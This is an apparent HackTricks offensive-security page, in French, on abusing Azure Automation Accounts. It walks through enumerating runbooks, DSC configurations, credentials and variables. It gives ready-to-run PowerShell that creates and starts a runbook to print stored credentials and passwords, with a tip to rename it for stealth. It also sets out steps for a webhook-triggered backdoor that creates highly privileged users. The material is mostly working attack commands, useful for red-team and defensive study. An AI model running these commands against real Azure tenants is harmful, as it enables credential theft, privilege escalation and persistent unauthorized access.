Az - Automation Account

Support HackTricks

Informations de base

Dans la documentation : Azure Automation fournit un service d'automatisation basé sur le cloud, des mises à jour du système d'exploitation et de configuration qui prend en charge une gestion cohérente dans vos environnements Azure et non-Azure. Il comprend l'automatisation des processus, la gestion de la configuration, la gestion des mises à jour, des capacités partagées et des fonctionnalités hétérogènes.

Ce sont comme des "tâches planifiées" dans Azure qui vous permettront d'exécuter des choses (actions ou même scripts) pour gérer, vérifier et configurer l'environnement Azure.

Compte d'exécution

Lorsque le Compte d'exécution est utilisé, il crée une application Azure AD avec un certificat auto-signé, crée un principal de service et attribue le rôle de Contributeur pour le compte dans la souscription actuelle (beaucoup de privilèges). Microsoft recommande d'utiliser une Identité gérée pour le Compte d'automatisation.

Cela sera supprimé le 30 septembre 2023 et remplacé par des Identités gérées.

Runbooks & Jobs

Les Runbooks vous permettent d'exécuter du code PowerShell arbitraire. Cela pourrait être abusé par un attaquant pour voler les permissions du principal attaché (le cas échéant). Dans le code des Runbooks, vous pourriez également trouver des informations sensibles (comme des identifiants).

Si vous pouvez lire les jobs, faites-le car ils contiennent la sortie de l'exécution (potentielles informations sensibles).

Allez à Automation Accounts --> <Select Automation Account> --> Runbooks/Jobs/Hybrid worker groups/Watcher tasks/credentials/variables/certificates/connections

Travailleur hybride

Un Runbook peut être exécuté dans un conteneur à l'intérieur d'Azure ou dans un Travailleur hybride (machine non-Azure). L'Agent Log Analytics est déployé sur la VM pour l'enregistrer en tant que travailleur hybride. Les jobs de travailleur hybride s'exécutent en tant que SYSTEM sur Windows et en tant que compte nxautomation sur Linux. Chaque Travailleur hybride est enregistré dans un Groupe de travailleurs hybrides.

Par conséquent, si vous pouvez choisir d'exécuter un Runbook dans un Travailleur hybride Windows, vous exécuterez des commandes arbitraires à l'intérieur d'une machine externe en tant que Système (technique de pivotement intéressante).

Compromettre la configuration d'état (SC)

Dans la documentation : Azure Automation Configuration d'état est un service de gestion de configuration Azure qui vous permet d'écrire, de gérer et de compiler des configurations de PowerShell Desired State Configuration (DSC) configurations pour des nœuds dans n'importe quel cloud ou centre de données sur site. Le service importe également des ressources DSC et attribue des configurations aux nœuds cibles, le tout dans le cloud. Vous pouvez accéder à la Configuration d'état Azure Automation dans le portail Azure en sélectionnant Configuration d'état (DSC) sous Gestion de la configuration.

Des informations sensibles pourraient être trouvées dans ces configurations.

RCE

Il est possible d'abuser de SC pour exécuter des scripts arbitraires sur les machines gérées.

Énumération

# Check user right for automation
az extension add --upgrade -n automation
az automation account list # if it doesn't return anything the user is not a part of an Automation group

# Gets Azure Automation accounts in a resource group
Get-AzAutomationAccount

# List & get DSC configs
Get-AzAutomationAccount | Get-AzAutomationDscConfiguration
Get-AzAutomationAccount | Get-AzAutomationDscConfiguration | where {$_.name -match '<name>'} | Export-AzAutomationDscConfiguration -OutputFolder . -Debug
## Automation Accounts named SecurityBaselineConfigurationWS... are there by default (not interesting)

# List & get Run books code
Get-AzAutomationAccount | Get-AzAutomationRunbook
Get-AzAutomationAccount | Get-AzAutomationRunbook | Export-AzAutomationRunbook -OutputFolder /tmp

# List credentials & variables & others
Get-AzAutomationAccount | Get-AzAutomationCredential
Get-AzAutomationAccount | Get-AzAutomationVariable
Get-AzAutomationAccount | Get-AzAutomationConnection
Get-AzAutomationAccount | Get-AzAutomationCertificate
Get-AzAutomationAccount | Get-AzAutomationSchedule
Get-AzAutomationAccount | Get-AzAutomationModule
Get-AzAutomationAccount | Get-AzAutomationPython3Package
## Exfiltrate credentials & variables and the other info loading them in a Runbook and printing them

# List hybrid workers
Get-AzAutomationHybridWorkerGroup -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME>

Créer un Runbook

# Get the role of a user on the Automation account
# Contributor or higher = Can create and execute Runbooks
Get-AzRoleAssignment -Scope /subscriptions/<ID>/resourceGroups/<RG-NAME>/providers/Microsoft.Automation/automationAccounts/<AUTOMATION-ACCOUNT>

# Create a Powershell Runbook
Import-AzAutomationRunbook -Name <RUNBOOK-NAME> -Path C:\Tools\username.ps1 -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME> -Type PowerShell -Force -Verbose

# Publish the Runbook
Publish-AzAutomationRunbook -RunbookName <RUNBOOK-NAME> -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME> -Verbose

# Start the Runbook
Start-AzAutomationRunbook -RunbookName <RUNBOOK-NAME> -RunOn Workergroup1 -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME> -Verbose

Exfiltrer les identifiants et les variables définis dans un compte d'automatisation à l'aide d'un Run Book

# Change the crdentials & variables names and add as many as you need
@'
$creds = Get-AutomationPSCredential -Name <credentials_name>
$runbook_variable = Get-AutomationVariable -name <variable_name>
$runbook_variable
$creds.GetNetworkCredential().username
$creds.GetNetworkCredential().password
'@ | out-file -encoding ascii 'runbook_get_creds.ps1'

$ResourceGroupName = '<resource_group_name>'
$AutomationAccountName = '<auto_acc_name>'
$RunBookName = 'Exif-Credentials' #Change this for stealthness

# Creare Run book, publish, start, and get output
New-AzAutomationRunBook -name $RunBookName -AutomationAccountName $AutomationAccountName -ResourceGroupName $ResourceGroupName -Type PowerShell
Import-AzAutomationRunBook -Path 'runbook_get_creds.ps1' -Name $RunBookName -Type PowerShell -AutomationAccountName $AutomationAccountName -ResourceGroupName $ResourceGroupName -Force
Publish-AzAutomationRunBook -Name $RunBookName -AutomationAccountName $AutomationAccountName -ResourceGroupName $ResourceGroupName
$start = Start-AzAutomationRunBook -Name $RunBookName -AutomationAccountName $AutomationAccountName -ResourceGroupName $ResourceGroupName
start-sleep 20
($start | Get-AzAutomationJob | Get-AzAutomationJobOutput).Summarynt

Vous pourriez faire la même chose en modifiant un Run Book existant, et depuis la console web.

Étapes pour Configurer la Création Automatisée d'un Utilisateur Hautement Privilégié

1. Initialiser un Compte d'Automatisation

  • Action Requise : Créer un nouveau Compte d'Automatisation.

  • Paramètre Spécifique : Assurez-vous que "Créer un compte Azure Run As" est activé.

2. Importer et Configurer le Runbook

  • Source : Téléchargez le runbook d'exemple depuis le Dépôt GitHub MicroBurst.

  • Actions Requises :

  • Importez le runbook dans le Compte d'Automatisation.

  • Publiez le runbook pour le rendre exécutable.

  • Attachez un webhook au runbook, permettant des déclencheurs externes.

3. Configurer le Module AzureAD

  • Action Requise : Ajoutez le module AzureAD au Compte d'Automatisation.

  • Étape Supplémentaire : Assurez-vous que tous les Modules d'Automatisation Azure sont mis à jour vers leurs dernières versions.

4. Attribution des Permissions

  • Rôles à Attribuer :

  • Administrateur Utilisateur

  • Propriétaire de l'Abonnement

  • Cible : Attribuez ces rôles au Compte d'Automatisation pour les privilèges nécessaires.

5. Conscience de la Perte Potentielle d'Accès

  • Remarque : Soyez conscient que la configuration d'une telle automatisation pourrait entraîner une perte de contrôle sur l'abonnement.

6. Déclencher la Création d'Utilisateur

  • Déclenchez le webhook pour créer un nouvel utilisateur en envoyant une requête POST.

  • Utilisez le script PowerShell fourni, en veillant à remplacer le $uri par votre véritable URL de webhook et à mettre à jour le $AccountInfo avec le nom d'utilisateur et le mot de passe souhaités.

$uri = "<YOUR_WEBHOOK_URL>"
$AccountInfo  = @(@{RequestBody=@{Username="<DESIRED_USERNAME>";Password="<DESIRED_PASSWORD>"}})
$body = ConvertTo-Json -InputObject $AccountInfo
$response = Invoke-WebRequest -Method Post -Uri $uri -Body $body

Références

Soutenir HackTricks

Last updated